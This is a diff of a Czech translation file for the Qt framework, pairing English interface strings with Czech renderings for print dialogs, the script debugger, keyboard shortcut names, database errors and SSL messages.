-        Portrait
-        Formát na výšku
+        Case Sensitive
+        Rozlišující velká a malá písmena
     
     
-        
-        
-        Page Setup
-        Nastavení strany
+        Whole words
+        Celá slova
     
     
-        
-        Page setup
-        Nastavení strany
+        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
+        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Hledání dosáhlo konce
     
+
+
+    QScriptDebuggerLocalsModel
     
-        
-        Show overview of all pages
-        Ukázat přehled všech stran
+        Name
+        Název
     
     
-        
-        First page
-        První strana
+        Value
+        Hodnota
     
+
+
+    QScriptDebuggerStackModel
     
-        
-        Last page
-        Poslední strana
+        Level
+        Úroveň
     
     
-        
-        Show single page
-        Ukázat jednotlivé strany
+        Name
+        Název
     
     
-        
-        Export to PDF
-        Vyvést do PDF
+        Location
+        Umístění
     
+
+
+    QScriptEdit
     
-        
-        Previous page
-        Předchozí strana
+        Toggle Breakpoint
+        Přepnout bod zastavení
     
     
-        
-        Next page
-        Další strana
+        Disable Breakpoint
+        Vypnout bod zastavení
     
     
-        
-        Show facing pages
-        Ukázat strany ležící naproti
+        Enable Breakpoint
+        Zapnout bod zastavení
     
     
-        
-        Export to PostScript
-        Vyvést do PostScriptu
+        Breakpoint Condition:
+        Podmínka zastavení:
     
 
 
-    QPrintPropertiesWidget
+    QScriptEngineDebugger
     
-        
-        Form
-        Formulář
+        Loaded Scripts
+        Nahrané skripty
     
     
-        
-        Page
-        Strana
+        Breakpoints
+        Body zastavení
     
     
-        
-        Advanced
-        Rozšířené
+        Stack
+        Zásobník
     
-
-
-    QPrintSettingsOutput
     
-        
-        to
-        do
+        Locals
+        Místní proměnné
     
     
-        
-        Form
-        Formulář
+        Console
+        Konzole
     
     
-        
-        None
-        Žádný
+        Debug Output
+        Výstup ladění
     
     
-        
-        Color
-        Barva
+        Error Log
+        Výstupní zápis s chybami
     
     
-        
-        Print all
-        Tisknout vše
+        Search
+        Hledat
     
     
-        
-        Selection
-        Výběr
+        View
+        Pohled
     
     
-        
-        Long side
-        Dlouhá strana
+        Qt Script Debugger
+        Qt ladění skriptů
     
+
+
+    QScriptNewBreakpointWidget
     
-        
-        Copies
-        Počet exemplářů
+        Close
+        Zavřít
     
+
+
+    QScrollBar
     
-        
-        Print range
-        Tisk oblasti
+        Top
+        Začátek
     
     
-        
-        Color Mode
-        Barevný režim
+        Scroll down
+        Projíždět dolů
     
     
-        
-        Options
-        Volby
+        Scroll here
+        Projíždět až sem
     
     
-        
-        Output Settings
-        Nastavení výstupu
+        Scroll left
+        Projíždět doleva
     
     
-        
-        Reverse
-        Obrácený
+        Line up
+        O jeden řádek nahoru
     
     
-        
-        Grayscale
-        Odstíny šedi
+        Line down
+        O jeden řádek dolů
     
     
-        
-        Short side
-        Krátká strana
+        Bottom
+        Konec
     
     
-        
-        Collate
-        Srovnat
+        Page up
+        O stranu nahoru
     
     
-        
-        Copies:
-        Počet exemplářů:
+        Position
+        Poloha
     
     
-        
-        Pages from
-        Strany od
+        Page right
+        O stranu doprava
     
     
-        
-        Duplex Printing
-        Zdvojený tisk
+        Scroll up
+        Projíždět nahoru
     
-
-
-    QPrintWidget
     
-        
-        ...
-        ...
+        Scroll right
+        Projíždět doprava
     
     
-        
-        Form
-        Formulář
+        Left edge
+        Levý okraj
     
     
-        
-        Type:
-        Typ:
+        Page down
+        O stranu dolů
     
     
-        
-        &Name:
-        &Název:
+        Page left
+        O stranu doleva
     
     
-        
-        Output &file:
-        Výstupní &soubor:
+        Right edge
+        Pravý okraj
     
+
+
+    QSharedMemory
     
-        
-        P&roperties
-        &Vlastnosti
+        %1: doesn't exist
+        %1: Neexistuje
     
     
-        
-        Preview
-        Náhled
+        %1: UNIX key file doesn't exist
+        %1: Soubor s unixovým klíčem neexistuje
     
     
-        
-        Printer
-        Tiskárna
+        %1: system-imposed size restrictions
+        %1: Bylo dosaženo systémem podmíněné meze velikosti
     
     
-        
-        Location:
-        Umístění:
+        %1: unix key file doesn't exists
+        %1: Soubor s unixovým klíčem neexistuje
     
-
-
-    QProcess
     
-        
-        
-        
-        Error writing to process
-        Zápis do procesu se nezdařil
+        %1: doesn't exists
+        %1: Neexistuje
     
     
-        
-        No program defined
-        Nestanoven žádný program
+        %1: key is empty
+        %1: Neplatný údaj u klíče (prázdný)
     
     
-        
-        Resource error (fork failure): %1
-        Potíže se zdroji (selhání rozcestí - "fork failure"): %1
+        %1: key error
+        %1: Chybný klíč
     
     
-        
-        
-        
-        
-        Error reading from process
-        Čtení z procesu se nezdařilo
+        %1: create size is less then 0
+        %1: Údaj o velikosti vytvoření je menší než nula
     
     
-        Process failed to start
-        Spuštění procesu se nezdařilo
+        %1: already exists
+        %1: Již existuje
     
     
-        
-        
-        Could not open input redirection for reading
-        Vstupní přesměrování se nepodařilo otevřít pro čtení
+        %1: unknown error %2
+        %1: Neznámá chyba %2
     
     
-        
-        
-        Could not open output redirection for writing
-        Výstupní přesměrování se nepodařilo otevřít pro zápis
+        %1: invalid size
+        %1: Neplatná velikost
     
     
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        Process operation timed out
-        Překročení času u procesu
+        %1: unable to make key
+        %1: Nepodařilo se vytvořit klíč
     
     
-        
-        Process crashed
-        Proces spadl
+        %1: unable to set key on lock
+        %1: Nepodařilo se nastavit klíč pro uzavření
     
     
-        
-        Process failed to start: %1
-        Proces se nepodařilo spustit: %1
+        %1: unable to unlock
+        %1: Uzavření se nepodařilo zrušit
     
-
-
-    QProgressDialog
     
-        
-        Cancel
-        Zrušit
+        %1: permission denied
+        %1: Přístup odepřen
     
-
-
-    QPushButton
     
-        
-        Open
-        Otevřít
+        %1: ftok failed
+        %1: Vyvolání ftok se nezdařilo
     
-
-
-    QRadioButton
     
-        
-        Check
-        Označit křížkem
+        %1: out of resources
+        %1: Nejsou již použitelné zdroje
     
-
-
-    QRegExp
     
-        
-        bad lookahead syntax
-        nesprávná syntax pro plánování dopředu
+        %1: not attached
+        %1: Nepřipojen
     
     
-        
-        no error occurred
-        žádná chyba
+        %1: size query failed
+        %1: Vyhledání velikosti se nezdařilo
     
     
-        
-        missing left delim
-        chybějící levé vymezení
+        %1: unable to lock
+        %1: Uzavření se nezdařilo
     
+
+
+    QShortcut
     
-        
-        bad char class syntax
-        nesprávná syntax pro třídu znaku
+        +
+        +
     
     
-        
-        disabled feature used
-        byla použita zakázaná vlastnost
+        No
+        Ne
     
     
-        
-        invalid octal value
-        neplatná osmičková hodnota
+        Up
+        Nahoru
     
     
-        
-        invalid interval
-        neplatný interval
+        Alt
+        Alt
     
     
-        
-        invalid category
-        neplatná skupina
+        F%1
+        F%1
     
     
-        
-        bad repetition syntax
-        nesprávná syntax pro opakování
+        Del
+        Delete
     
     
-        
-        met internal limit
-        dosažena vnitřní mez
+        End
+        End
     
     
-        
-        unexpected end
-        neočekávaný konec
+        Esc
+        Esc
     
-
-
-    QSQLite2Driver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Ins
+        Insert
     
     
-        Error to open database
-        Nepodařilo se otevřít spojení s datatabází
+        Tab
+        Tab
     
     
-        Unable to rollback Transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Yes
+        Ano
     
     
-        
-        Unable to begin transaction
-        Transakci se nepodařilo spustit
+        Back
+        Zpět
     
     
-        
-        Error opening database
-        Nepodařilo se otevřít spojení s databází
+        Call
+        Button to start a call (note: a separate button is used to end the call)
+        Volání
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Ctrl
+        Ctrl
     
-
-
-    QSQLite2Result
     
-        
-        Unable to execute statement
-        Příkaz se nepodařilo provést
+        Down
+        Dolů
     
     
-        
-        Unable to fetch results
-        Výsledek se nepodařilo natáhnout
+        Flip
+        Obrátit
     
-
-
-    QSQLiteDriver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Help
+        Nápověda
     
     
-        
-        Error closing database
-        Nepodařilo se uzavřít spojení s datatabází
+        Home
+        Home
     
     
-        
-        Error opening database
-        Nepodařilo se otevřít spojení s databází
+        Left
+        Vlevo
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Menu
+        Menu
     
     
-        
-        Unable to begin transaction
-        Transakci se nepodařilo spustit
+        Toggle Call/Hangup
+        Button that will hang up if we're in call, or make a call if we're not.
+        Přepnout volat/zavěsit
     
-
-
-    QSQLiteResult
     
-        
-        
-        
-        Unable to fetch row
-        Řádek se nepodařilo natáhnout
+        Voice Dial
+        Button to trigger voice dialing
+        Hlasové vytáčení
     
     
-        
-        No query
-        Žádný požadavek
+        Last Number Redial
+        Button to redial the last number called
+        Opakované vytáčení posledního čísla
     
     
-        
-        Unable to execute statement
-        Příkaz se nepodařilo provést
+        Camera Shutter
+        Button to trigger the camera shutter (take a picture)
+        Závěrka kamery
     
     
-        
-        Unable to bind parameters
-        Parametry se nepodařilo spojit
+        Camera Focus
+        Button to focus the camera
+        Zaostření kamery
     
     
-        
-        Unable to reset statement
-        Příkaz se nepodařilo znovu nastavit
+        Kanji
+        Kandži
     
     
-        
-        Parameter count mismatch
-        Počet parametrů není správný
+        Muhenkan
+        Muhenkan
     
-
-
-    QScriptBreakpointsModel
     
-        
-        ID
-        ID
+        Henkan
+        Henkan
     
     
-        
-        Location
-        Umístění
+        Romaji
+        Romaji
     
     
-        
-        Condition
-        Podmínka
+        Hiragana
+        Hiragana
     
     
-        
-        Ignore-count
-        Spustit po
+        Katakana
+        Katakana
     
     
-        
-        Single-shot
-        Spustit jednou
+        Hiragana Katakana
+        Hiragana Katakana
     
     
-        
-        Hit-count
-        Spuštěný
+        Zenkaku
+        Zenkaku
     
-
-
-    QScriptBreakpointsWidget
     
-        
-        New
-        Nový
+        Hankaku
+        Hankaku
     
     
-        
-        Delete
-        Smazat
+        Zenkaku Hankaku
+        Zenkaku Hankaku
     
-
-
-    QScriptDebugger
     
-        
-        
-        Go to Line
-        Jít na řádek
+        Touroku
+        Touroku
     
     
-        
-        Line:
-        Řádek:
+        Massyo
+        Massyo
     
     
-        
-        Interrupt
-        Přerušit
+        Kana Lock
+        Kana Zámek
     
     
-        
-        Shift+F5
-        Shift+F5
+        Kana Shift
+        Kany Posun
     
     
-        
-        Continue
-        Pokračovat
+        Eisu Shift
+        Eisu Posun
     
     
-        
-        F5
-        F5
+        Eisu toggle
+        Eisu Přepínač
     
     
-        
-        Step Into
-        Krok do
+        Code input
+        Vstup pro kód
     
     
-        
-        F11
-        F11
+        Multiple Candidate
+        Více návrhů
     
     
-        
-        Step Over
-        Krok přes
+        Previous Candidate
+        Předchozí návrh
     
     
-        
-        F10
-        F10
+        Hangul
+        Hangul
     
     
-        
-        Step Out
-        Krok ven
+        Hangul Start
+        Hangul začátek
     
     
-        
-        Shift+F11
-        Shift+F11
+        Hangul End
+        Hangul konec
     
     
-        
-        Run to Cursor
-        Provést po kurzor
+        Hangul Hanja
+        Hangul Hanja
     
     
-        
-        Ctrl+F10
-        Ctrl+F10
+        Hangul Jamo
+        Hangul Jamo
     
     
-        
-        Run to New Script
-        Provést po nový skript
+        Hangul Romaja
+        Hangul Romaja
     
     
-        
-        Toggle Breakpoint
-        Přepnout bod přerušení (zastavení)
+        Hangul Jeonja
+        Hangul Jeonja
     
     
-        
-        F9
-        F9
+        Hangul Banja
+        Hangul Banja
     
     
-        
-        Clear Debug Output
-        Smazat výstup ladění
+        Hangul PreHanja
+        Hangul PreHanja
     
     
-        
-        Clear Error Log
-        Smazat výstupní zápis s chybami
+        Hangul PostHanja
+        Hangul PostHanja
     
     
-        
-        Clear Console
-        Smazat konzoli
+        Hangul Special
+        Hangul zvláštní
     
     
-        
-        &Find in Script...
-        &Hledat ve skriptu...
+        Meta
+        Meta
     
     
-        
-        Ctrl+F
-        Ctrl+F
+        PgUp
+        PgUp
     
     
-        
-        Find &Next
-        Najít &další
+        Stop
+        Stop
     
     
-        
-        F3
-        F3
+        Enter
+        Enter
+    
+    
+        Pause
+        Pause
     
     
-        
-        Find &Previous
-        Najít &předchozí
+        Print
+        Print
     
     
-        
-        Shift+F3
-        Shift+F3
+        Right
+        Vpravo
     
     
-        
-        Ctrl+G
-        Ctrl+G
+        Shift
+        Shift
     
     
-        
-        Debug
-        Ladit
+        Space
+        This and all following "incomprehensible" strings in QShortcut context are key names. Please use the localized names appearing on actual keyboards or whatever is commonly used.
+        Mezerník
     
-
-
-    QScriptDebuggerCodeFinderWidget
     
-        
-        Close
-        Zavřít
+        Media Record
+        Nahrát
     
     
-        
-        Previous
-        Předchozí
+        Print Screen
+        Print Screen
     
     
-        
-        Next
-        Další
+        Treble Down
+        Výšky -
     
     
-        
-        Case Sensitive
-        Rozlišující velká a malá písmena
+        Scroll Lock
+        Scroll Lock
     
     
-        
-        Whole words
-        Celá slova
+        Volume Down
+        Hlasitost -
     
     
-        
-        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
-        <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Hledání dosáhlo konce
+        Volume Mute
+        Ztlumit hlasitost
     
-
-
-    QScriptDebuggerLocalsModel
     
-        
-        Name
-        Název
+        Media Previous
+        Předchozí
     
     
-        
-        Value
-        Hodnota
+        Home Page
+        Domovská stránka
     
-
-
-    QScriptDebuggerStackModel
     
-        
-        Level
-        Úroveň
+        Volume Up
+        Hlasitost +
     
     
-        
-        Name
-        Název
+        Launch (6)
+        Spustit (6)
     
     
-        
-        Location
-        Umístění
+        Launch (7)
+        Spustit (7)
     
-
-
-    QScriptEdit
     
-        
-        Toggle Breakpoint
-        Přepnout bod zastavení
+        Launch (8)
+        Spustit (8)
     
     
-        
-        Disable Breakpoint
-        Vypnout bod zastavení
+        Launch (9)
+        Spustit (9)
     
     
-        
-        Enable Breakpoint
-        Zapnout bod zastavení
+        Launch (2)
+        Spustit (2)
     
     
-        
-        Breakpoint Condition:
-        Podmínka zastavení:
+        Launch (3)
+        Spustit (3)
     
-
-
-    QScriptEngineDebugger
     
-        
-        Loaded Scripts
-        Nahrané skripty
+        Launch (4)
+        Spustit (4)
     
     
-        
-        Breakpoints
-        Body zastavení
+        Launch (5)
+        Spustit (5)
     
     
-        
-        Stack
-        Zásobník
+        Launch (0)
+        Spustit (0)
     
     
-        
-        Locals
-        Místní proměnné
+        Launch (1)
+        Spustit (1)
     
     
-        
-        Console
-        Konzole
+        Launch (F)
+        Spustit (F)
     
     
-        
-        Debug Output
-        Výstup ladění
+        Launch (B)
+        Spustit (B)
     
     
-        
-        Error Log
-        Výstupní zápis s chybami
+        Launch (C)
+        Spustit (C)
     
     
-        
-        Search
-        Hledat
+        Launch (D)
+        Spustit (D)
     
     
-        
-        View
-        Pohled
+        Launch (E)
+        Spustit (E)
     
     
-        
-        Qt Script Debugger
-        Qt ladění skriptů
+        Launch (A)
+        Spustit (A)
     
-
-
-    QScriptNewBreakpointWidget
     
-        
-        Close
-        Zavřít
+        Delete
+        Delete
     
-
-
-    QScrollBar
     
-        
-        Top
-        Začátek
+        Escape
+        Escape
     
     
-        
-        Scroll down
-        Projíždět dolů
+        Hangup
+        Button to end a call (note: a separate button is used to start the call)
+        Pověsit
     
     
-        
-        Scroll here
-        Projíždět až sem
+        Insert
+        Insert
     
     
-        
-        Scroll left
-        Projíždět doleva
+        Bass Boost
+        Zesílení basů
     
     
-        
-        Line up
-        O jeden řádek nahoru
+        PgDown
+        PgDown
     
     
-        
-        Line down
-        O jeden řádek dolů
+        Return
+        Return
     
     
-        
-        Bottom
-        Konec
+        Search
+        Hledat
     
     
-        
-        
-        Page up
-        O stranu nahoru
+        Select
+        Vybrat
     
     
-        
-        Position
-        Poloha
+        SysReq
+        SysReq
     
     
-        
-        Page right
-        O stranu doprava
+        NumLock
+        NumLock
     
     
-        
-        Scroll up
-        Projíždět nahoru
+        ScrollLock
+        ScrollLock
     
     
-        
-        Scroll right
-        Projíždět doprava
+        Media Pause
+        Media player pause button
+        Pozastavení přehrávání
     
     
-        
-        Left edge
-        Levý okraj
+        Toggle Media Play/Pause
+        Media player button to toggle between playing and paused
+        Přepnout přehrávat/pozastavit
     
     
-        
-        
-        Page down
-        O stranu dolů
+        Monitor Brightness Up
+        Zvýšit jas obrazovky
     
     
-        
-        Page left
-        O stranu doleva
+        Monitor Brightness Down
+        Snížit jas obrazovky
     
     
-        
-        Right edge
-        Pravý okraj
+        Keyboard Light On/Off
+        Zapnout/Vypnout podsvícení klávesnice
     
-
-
-    QSharedMemory
     
-        
-        
-        %1: doesn't exist
-        %1: Neexistuje
+        Keyboard Brightness Up
+        Zvýšit jas klávesnice
     
     
-        
-        %1: UNIX key file doesn't exist
-        %1: Soubor s unixovým klíčem neexistuje
+        Keyboard Brightness Down
+        Snížit jas klávesnice
     
     
-        
-        %1: system-imposed size restrictions
-        %1: Bylo dosaženo systémem podmíněné meze velikosti
+        Power Off
+        Vypnout
     
     
-        %1: unix key file doesn't exists
-        %1: Soubor s unixovým klíčem neexistuje
+        Wake Up
+        Probudit
     
     
-        
-        %1: doesn't exists
-        %1: Neexistuje
+        Eject
+        Vysunout
     
     
-        
-        %1: key is empty
-        %1: Neplatný údaj u klíče (prázdný)
+        Screensaver
+        Spořič/Šetřič obrazovky
     
     
-        
-        
-        %1: key error
-        %1: Chybný klíč
+        WWW
+        Internet
     
     
-        
-        %1: create size is less then 0
-        %1: Údaj o velikosti vytvoření je menší než nula
+        Sleep
+        Režim spánku
     
     
-        
-        
-        
-        %1: already exists
-        %1: Již existuje
+        LightBulb
+        Osvětlení
     
     
-        
-        
-        
-        %1: unknown error %2
-        %1: Neznámá chyba %2
+        Shop
+        Obchod
     
     
-        
-        
-        %1: invalid size
-        %1: Neplatná velikost
+        History
+        Průběh
     
     
-        
-        
-        
-        %1: unable to make key
-        %1: Nepodařilo se vytvořit klíč
+        Add Favorite
+        Přidat záložku
     
     
-        
-        %1: unable to set key on lock
-        %1: Nepodařilo se nastavit klíč pro uzavření
+        Hot Links
+        Doporučené odkazy
     
     
-        
-        %1: unable to unlock
-        %1: Uzavření se nepodařilo zrušit
+        Adjust Brightness
+        Upravit jas
     
     
-        
-        
-        
-        %1: permission denied
-        %1: Přístup odepřen
+        Finance
+        Finance
     
     
-        
-        %1: ftok failed
-        %1: Vyvolání ftok se nezdařilo
+        Community
+        Společenství
     
     
-        
-        
-        
-        %1: out of resources
-        %1: Nejsou již použitelné zdroje
+        Audio Rewind
+        Zvuk přetočit zpět
     
     
-        
-        %1: not attached
-        %1: Nepřipojen
+        Back Forward
+        Zpět dopředu
     
     
-        
-        %1: size query failed
-        %1: Vyhledání velikosti se nezdařilo
+        Application Left
+        Aplikace vlevo
     
     
-        
-        
-        %1: unable to lock
-        %1: Uzavření se nezdařilo
+        Application Right
+        Aplikace vpravo
     
-
-
-    QShortcut
     
-        
-        +
-        +
+        Book
+        Kniha
     
     
-        
-        No
-        Ne
+        CD
+        CD
     
     
-        
-        Up
-        Nahoru
+        Calculator
+        Kalkulačka
     
     
-        
-        
-        Alt
-        Alt
+        Clear
+        Smazat
     
     
-        
-        F%1
-        F%1
+        Clear Grab
+        Smazat přístup
     
     
-        
-        Del
-        Delete
+        Close
+        Zavřít
     
     
-        
-        End
-        End
+        Copy
+        Kopírovat
     
     
-        
-        Esc
-        Esc
+        Cut
+        Vyjmout
     
     
-        
-        Ins
-        Insert
+        Display
+        Zobrazit
     
     
-        
-        Tab
-        Tab
+        DOS
+        DOS
     
     
-        
-        Yes
-        Ano
+        Documents
+        Dokumenty
     
     
-        
-        Back
-        Zpět
+        Spreadsheet
+        Tabulkový dokument
     
     
-        
-        Call
-        Volání
+        Browser
+        Prohlížeč
     
     
-        
-        
-        Ctrl
-        Ctrl
+        Game
+        Hra
     
     
-        
-        Down
-        Dolů
+        Go
+        Do toho
     
     
-        
-        Flip
-        Obrátit
+        iTouch
+        iTouch
     
     
-        
-        Help
-        Nápověda
+        Logoff
+        Odhlásit se
     
     
-        
-        Home
-        Home
+        Market
+        Trh
     
     
-        
-        Left
-        Vlevo
+        Meeting
+        Schůze
     
     
-        
-        Menu
-        Menu
+        Keyboard Menu
+        Nabídka klávesnice
     
     
-        
-        
-        Meta
-        Meta
+        Menu PB
+        Nabídka PB
     
     
-        
-        PgUp
-        PgUp
+        My Sites
+        Moje místa
     
     
-        
-        Stop
-        Stop
+        News
+        Zprávy
     
     
-        
-        Enter
-        Enter
+        Home Office
+        Domácí kancelář
     
     
-        
-        Pause
-        Pause
+        Option
+        Volba
     
     
-        
-        Print
-        Print
+        Paste
+        Vložit
     
     
-        
-        Right
-        Vpravo
+        Phone
+        Telefon
     
     
-        
-        
-        Shift
-        Shift
+        Reply
+        Odpovědět
     
     
-        
-        Space
-        Mezerník
+        Reload
+        Nahrát znovu
     
     
-        
-        Media Record
-        Nahrát
+        Rotate Windows
+        Otáčet okny
     
     
-        
-        Print Screen
-        Print Screen
+        Rotation PB
+        Otáčení PB
     
     
-        
-        Treble Down
-        Výšky -
+        Rotation KB
+        Otáčení KB
     
     
-        
-        Scroll Lock
-        Scroll Lock
+        Save
+        Uložit
     
     
-        
-        Volume Down
-        Hlasitost -
+        Send
+        Poslat
     
     
-        
-        Volume Mute
-        Ztlumit hlasitost
+        Spellchecker
+        Ověření pravopisu
     
     
-        
-        Media Previous
-        Předchozí
+        Split Screen
+        Rozdělit obrazovku
     
     
-        
-        Home Page
-        Domovská stránka
+        Support
+        Podpora
     
     
-        
-        Volume Up
-        Hlasitost +
+        Task Panel
+        Panel s úkoly
     
     
-        
-        Launch (6)
-        Spustit (6)
+        Terminal
+        Terminál
     
     
-        
-        Launch (7)
-        Spustit (7)
+        Tools
+        Nástroje
     
     
-        
-        Launch (8)
-        Spustit (8)
+        Travel
+        Cestování
     
     
-        
-        Launch (9)
-        Spustit (9)
+        Video
+        Video
     
     
-        
-        Launch (2)
-        Spustit (2)
+        Word Processor
+        Zpracování textu
     
     
-        
-        Launch (3)
-        Spustit (3)
+        XFer
+        XFer
     
     
-        
-        Launch (4)
-        Spustit (4)
+        Zoom In
+        Přiblížit
     
     
-        
-        Launch (5)
-        Spustit (5)
+        Zoom Out
+        Oddálit
     
     
-        
-        Launch (0)
-        Spustit (0)
+        Away
+        Pryč
     
     
-        
-        Launch (1)
-        Spustit (1)
+        Messenger
+        Posel
     
     
-        
-        Launch (F)
-        Spustit (F)
+        WebCam
+        Internetová kamera
     
     
-        
-        Launch (B)
-        Spustit (B)
+        Mail Forward
+        Předání dál
     
     
-        
-        Launch (C)
-        Spustit (C)
+        Pictures
+        Obrázky
     
     
-        
-        Launch (D)
-        Spustit (D)
+        Music
+        Hudba
     
     
-        
-        Launch (E)
-        Spustit (E)
+        Battery
+        Baterie
     
     
-        
-        Launch (A)
-        Spustit (A)
+        Bluetooth
+        Modrozub
     
     
-        
-        Delete
-        Delete
+        Wireless
+        Bezdrát
     
     
-        
-        Escape
-        Escape
+        Ultra Wide Band
+        Ultra široké pásmo
     
     
-        
-        Hangup
-        Pověsit
+        Audio Forward
+        Zvuk přetočit dopředu
     
     
-        
-        Insert
-        Insert
+        Audio Repeat
+        Opakovat zvuk
     
     
-        
-        Bass Boost
-        Zesílení basů
+        Audio Random Play
+        Zvuk přehrávat náhodně
     
     
-        
-        PgDown
-        PgDown
+        Subtitle
+        Titulky
     
     
-        
-        Return
-        Return
+        Audio Cycle Track
+        Změnit zvukovou stopu
     
     
-        
-        Search
-        Hledat
+        Time
+        Čas
     
     
-        
-        Select
-        Vybrat
+        View
+        Pohled
     
     
-        
-        SysReq
-        SysReq
+        Top Menu
+        Hlavní nabídka
     
     
-        
-        NumLock
-        NumLock
+        Suspend
+        Pozastavit
     
     
-        
-        ScrollLock
-        ScrollLock
+        Hibernate
+        Přezimovat
     
     
-        
         Context1
         Kontext1
     
     
-        
         Context2
         Kontext2
     
     
-        
         Context3
         Kontext3
     
     
-        
         Context4
         Kontext4
     
     
-        
         Page Up
         Page Up
     
     
-        
         Open URL
         Otevřít URL
     
     
-        
         Caps Lock
         Caps Lock
     
     
-        
         System Request
         Žádost systému
     
     
-        
         CapsLock
         CapsLock
     
     
-        
         Backtab
         Zpět-Tab
     
     
-        
         Bass Up
         Basy +
     
     
-        
         Refresh
         Obnovit
     
     
-        
         Launch Mail
         Spustit e-mail
     
     
-        
         Backspace
         Backspace
     
     
-        
         Bass Down
         Basy -
     
     
-        
         Standby
         V pohotovosti
     
     
-        
         Treble Up
         Výšky +
     
     
-        
         Num Lock
         Num Lock
     
     
-        
         Number Lock
         Zahlen-Feststelltaste
     
     
-        
         Favorites
         Oblíbené
     
     
-        
         Forward
         Dopředu
     
     
-        
         Page Down
         Obraz dolů
     
     
-        
         Media Play
         Přehrávání
     
     
-        
         Media Stop
         Zastavit přehrávání
     
     
-        
         Media Next
         Další
     
     
-        
         Launch Media
         Spustit přehrávač
     
@@ -5845,27 +6501,22 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSlider
     
-        
         Page up
         O stranu nahoru
     
     
-        
         Position
         Poloha
     
     
-        
         Page right
         O stranu doprava
     
     
-        
         Page down
         O stranu dolů
     
     
-        
         Page left
         O stranu doleva
     
@@ -5873,72 +6524,58 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSocks5SocketEngine
     
-        
         Network operation timed out
         Časový limit pro síťovou operaci byl překročen
     
     
-        
         Connection to proxy closed prematurely
         Proxy server předčasně ukončil spojení
     
     
-        
         Proxy authentication failed: %1
         Autentizace u proxy serveru se nezdařila: %1
     
     
-        
         Proxy authentication failed
         Autentizace u proxy serveru se nezdařila
     
     
-        
         General SOCKSv5 server failure
         Všeobecná chyba při spojení s SOCKSv5 serverem
     
     
-        
         Unknown SOCKSv5 proxy error code 0x%1
         Byl obdržen neznámý chybový kód od SOCKSv5 proxy serveru: 0x%1
     
     
-        
         Connection not allowed by SOCKSv5 server
         SOCKSv5 server odmítl spojení
     
     
-        
         SOCKSv5 command not supported
         Tento SOCKSv5 příkaz není podporován
     
     
-        
         Connection to proxy timed out
         Při spojení s proxy serverem byl překročen časový limit
     
     
-        
         Proxy host not found
         Proxy server se nepodařilo najit
     
     
-        
         TTL expired
         TTL uplynul
     
     
-        
         Address type not supported
         Tento typ adresy není podporován
     
     
-        
         Connection to proxy refused
         Proxy server odmítl navázání spojení
     
     
-        
         SOCKS version 5 protocol error
         Chyba protokolu (SOCKS verze 5)
     
@@ -5946,32 +6583,26 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSoftKeyManager
     
-        
         Ok
         OK
     
     
-        
         Select
         Vybrat
     
     
-        
         Done
         Hotovo
     
     
-        
         Options
         Volby
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Exit
         Ukončit
     
@@ -5979,12 +6610,10 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSpinBox
     
-        
         Less
         Méně
     
     
-        
         More
         Více
     
@@ -5992,56 +6621,42 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSql
     
-        
-        
-        
         No
         Ne
     
     
-        
-        
-        
         Yes
         Ano
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Delete
         Delete
     
     
-        
         Insert
         Vložit
     
     
-        
         Update
         Obnovit
     
     
-        
         Delete this record?
         Smazat tento zápis?
     
     
-        
         Save edits?
         Uložit změny?
     
     
-        
         Confirm
         Potvrdit
     
     
-        
         Cancel your edits?
         Zrušit změny?
     
@@ -6049,80 +6664,165 @@ Zvolte, prosím, pro soubor jiný název.
 
     QSslSocket
     
-        
         Error creating SSL session: %1
         Nepodařilo se vytvořit sezení SSL: %1
     
     
-        
         Error creating SSL session, %1
         Nepodařilo se vytvořit sezení SSL, %1
     
     
-        
         Cannot provide a certificate with no key, %1
         Bez klíče nelze poskytnout žádné osvědčení k volnému použití, %1
     
     
-        
+        Private key does not certify public key, %1
+        Soukromý klíč nedosvědčuje veřejný klíč, %1
+    
+    
         Unable to write data: %1
         Data se nepodařilo zapsat: %1
     
     
-        
+        Unable to decrypt data: %1
+        Data se nepodařilo rozluštit: %1
+    
+    
         Error during SSL handshake: %1
         Během startu SSL protokolu se vyskytla chyba: %1
     
     
-        
         Error loading local certificate, %1
         Nepodařilo se nahrát místní osvědčení, %1
     
     
-        
         Invalid or empty cipher list (%1)
         Neplatný či prázdný seznam se šifrovacími klíči (%1)
     
     
-        
         Private key does not certificate public key, %1
-        Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1
+        Vystavení osvědčení k veřejnému klíči přes soukromý klíč se nezdařilo, %1
     
     
-        
         Error creating SSL context (%1)
         Nepodařilo se vytvořit žádný kontext SSL (%1)
     
     
-        
         Error while reading: %1
         Při čtení se vyskytla chyba: %1
     
     
-        
         Error loading private key, %1
         Soukromý klíč se nepodařilo nahrát, %1
     
+    
+        No error
+        Žádná chyba
+    
+    
+        The issuer certificate could not be found
+        Osvědčení od vydavatele se nepodařilo nalézt
+    
+    
+        The certificate signature could not be decrypted
+        Podpis osvědčení se nepodařilo rozluštit
+    
+    
+        The public key in the certificate could not be read
+        Veřejný klíč v osvědčení se nepodařilo přečíst
+    
+    
+        The signature of the certificate is invalid
+        Podpis osvědčení je neplatný
+    
+    
+        The certificate is not yet valid
+        Osvědčení ještě není platné
+    
+    
+        The certificate has expired
+        Platnost osvědčení uplynula
+    
+    
+        The certificate's notBefore field contains an invalid time
+        Pole osvědčení 'notBefore' obsahuje neplatný čas
+    
+    
+        The certificate's notAfter field contains an invalid time
+        Pole osvědčení 'notAfter' obsahuje neplatný čas
+    
+    
